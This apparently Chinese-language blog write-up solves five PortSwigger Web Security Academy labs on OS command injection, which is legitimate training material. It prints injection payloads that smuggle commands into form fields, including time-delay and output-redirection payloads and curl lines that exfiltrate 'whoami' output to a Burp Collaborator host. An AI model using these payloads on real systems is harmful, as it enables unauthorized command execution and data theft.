Portswigger web security academy:OS command injection
Portswigger web security academy:OS command injection
OS command injection, simple case
题目描述
环境中的web应用运行了一个包含产品和店铺id的命令行,并且会返回命令执行结果
要求运行
whoami来确认当前用户身份
解题过程
先找注入点
找到注入点在选地区,查剩余库存的功能点(check stock)
注入
burp拦截,
productId=3%26echo 123&storeId=2返回123 2,说明存在命令注入
构造payload
productId=3%26whoami&storeId=2,报错,提示多余的操作符2,emmmm,说明会进行2也拼接到了语句里修改
productId=3%26whoami%26echo &storeId=2
Blind OS command injection with time delays
题目描述
在
feedback功能中有命令注入(盲注):用户输入会被执行,但没有返回要求
产生10秒的延时
解题过程
先去搜索了一下linux下的延迟命令
- 找到一个 
sleep num[s/m/h/d] 
- 找到一个 
 用burp抓包,经过测试,发现email参数异常,当其中包含有
& | ; %0a `或者它们的url编码时会返回Could not save- 在没有思路的时候,我返回去看了下第一题,发现最后参数处理不好,会产生报错,猜测这里也有报错,需要把前后参数都拼接好才行
 
尝试
|sleep%2010s|
仍然报错,但是可以看到命令已经成功运行,猜测是管道符
|导致的参数错误再次尝试,
||sleep%20100s||,成功且没有报错
Blind OS command injection with out put redirection
题目描述
- 在
feedback功能点存在命令注入(盲注) /var/www/images/目录有可写权限,并且图片会被加载到商品详情页面- 要求把
whoami的结果重定向到上述目录,并拿到结果 
- 在
 解题过程
寻找打开图片的接口

/image?filename=xx.jpg
寻找漏洞点
使用上一题的payload,发现漏洞点仍然在email

构造payload并执行
||whoami%20>/var/www/images/1.jpg||利用图片接口,获得结果

Blind OS command injection with out-of-band interaction
题目描述
- 在
feedback功能点存在命令注入(盲注) - 输入的命令会异步执行,从返回中不会得到任何信息,并且无法将结果重定向到可以访问到的目录,但可以使用外带(out-of-band)
 - 要求执行一个
DNS lookup,(利用collaborator) 
- 在
 解题过程
直接构造payload
||curl%20xxx.burpcollaborator.net||即可
但是它没有回显,感觉不舒服,于是乎尝试了一下通过参数拼接来获得命令运行结果
最终的payload:
||a=whoami;curl%20"xxx.burpcollaborator.net/"`$a`||
在尝试&和yt交流之后,发现以下payload也可以:
a=whoami;curl xxx.xxx/`$a`a=`whoami`;curl xxx.xxx/$a
curl xxx.xxx/`whoami`这样最简单
Blind OS command injection with out-of-band data exfiltration
题目描述
- 在
feedback功能点存在命令注入(盲注) - 输入的命令会异步执行,从返回中不会得到任何信息,并且无法将结果重定向到可以访问到的目录,但可以使用外带(out-of-band)得到结果
 - 要求通过外带获得当前用户名(这不就是我上道题最后做的吗)
 
- 在
 解题过程
直接用上道题最后的payload即可
||a=whoami;curl%20xxx.burpcollaborator.net/`$a`||(更新)
||curl%20xxx.burpcollaborator.net/`whoami`||
Portswigger web security academy:OS command injection的更多相关文章
- Portswigger web security academy:Server-side template injection(SSTI)
		
Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...
 - Portswigger web security academy:XML external entity (XXE) injection
		
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
 - Portswigger web security academy:SQL injection
		
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
 - Portswigger web security academy:WebSockets
		
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
 - Portswigger web security academy:Clickjacking (UI redressing)
		
Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...
 - Portswigger web security academy:Cross-origin resource sharing (CORS)
		
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
 - Portswigger web security academy:Cross-site request forgery (CSRF)
		
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
 - Portswigger web security academy:OAth authentication vulnerable
		
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
 - Portswigger web security academy:Server-side request forgery (SSRF)
		
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
 
随机推荐
- VirtualBOX 虚拟机 FreeBSD配置
			
pkg装virtualbox-ose-additions, 再将 Section "Device"Identifier "Card0"Driver " ...
 - python基础学习之函数基础和部分内置函数
			
在函数调用的时候,必备参数必须要传入 函数定义: def 函数名: 代码块pass return 返回值 函数名命名规则: 字母.数字和下划线组成,和变量命名规则一致 pass在这里表示什么都没有 ...
 - LZZ高级程序语言设计之多重for循环
			
public class Mq { public static void main(String args[]) { System.out.println("到底去还是不去呢?") ...
 - CodeMonkey少儿编程第7章 函数
			
目标 了解函数是什么 掌握如何定义一个函数 函数是什么 本章我们学习一个新的概念----函数. 你可以简单的将函数看作为一个黑匣子,给它输入参数后,它将会按照一定的规则,执行相应的指令或输出数据. 让 ...
 - 题解 洛谷P1990 覆盖墙壁
			
DP康复训练题 原题:洛谷P1990 核心:递推/DP 题源应该是铺地砖,所以采用一摸一样的思路,只是有两种不同的方块 我们先用最最简单的方式尝试一下枚举当最后一行被填满的情况: 1.如果我们只用第一 ...
 - Xshell(远程)连接不上linux服务器(防火墙介绍)
			
一.原因 远程(ssh)连接不上linux服务器的大多数原因都是因为本地服务器的防火墙策略导致的,因此我们想ssh远程能够连接上服务器,有两种方法: 修改防火墙策略 关闭防火墙 二.防火墙服务介绍 1 ...
 - 【小白学算法】5.链表(linked list)、链表的添加
			
链表其实也就是 线性表的链式存储结构,与之前讲到的顺序存储结构不同. 我们知道顺序存储结构中的元素地址都是连续的,那么这就有一个最大的缺点:当做插入跟删除操作的时候,大量的元素需要移动. 如图所示,元 ...
 - 详解 ZooKeeper 数据持久化
			
本文作者:HelloGitHub-老荀 Hi,这里是 HelloGitHub 推出的 HelloZooKeeper 系列,免费开源.有趣.入门级的 ZooKeeper 教程,面向有编程基础的新手. 项 ...
 - go-ini入门教程
			
go-ini入门教程 go-ini简介 Package ini provides INI file read and write functionality in Go. 在实际开发时,配置信息一般不 ...
 - [换根DP][倍增]luogu P5666 树的重心
			
题面 https://www.luogu.com.cn/problem/P5666 分析 对于一棵以i为根的树来说,它的重心必然在其size大于等于sumsize/2的子树中. 那么断掉一条边e(u, ...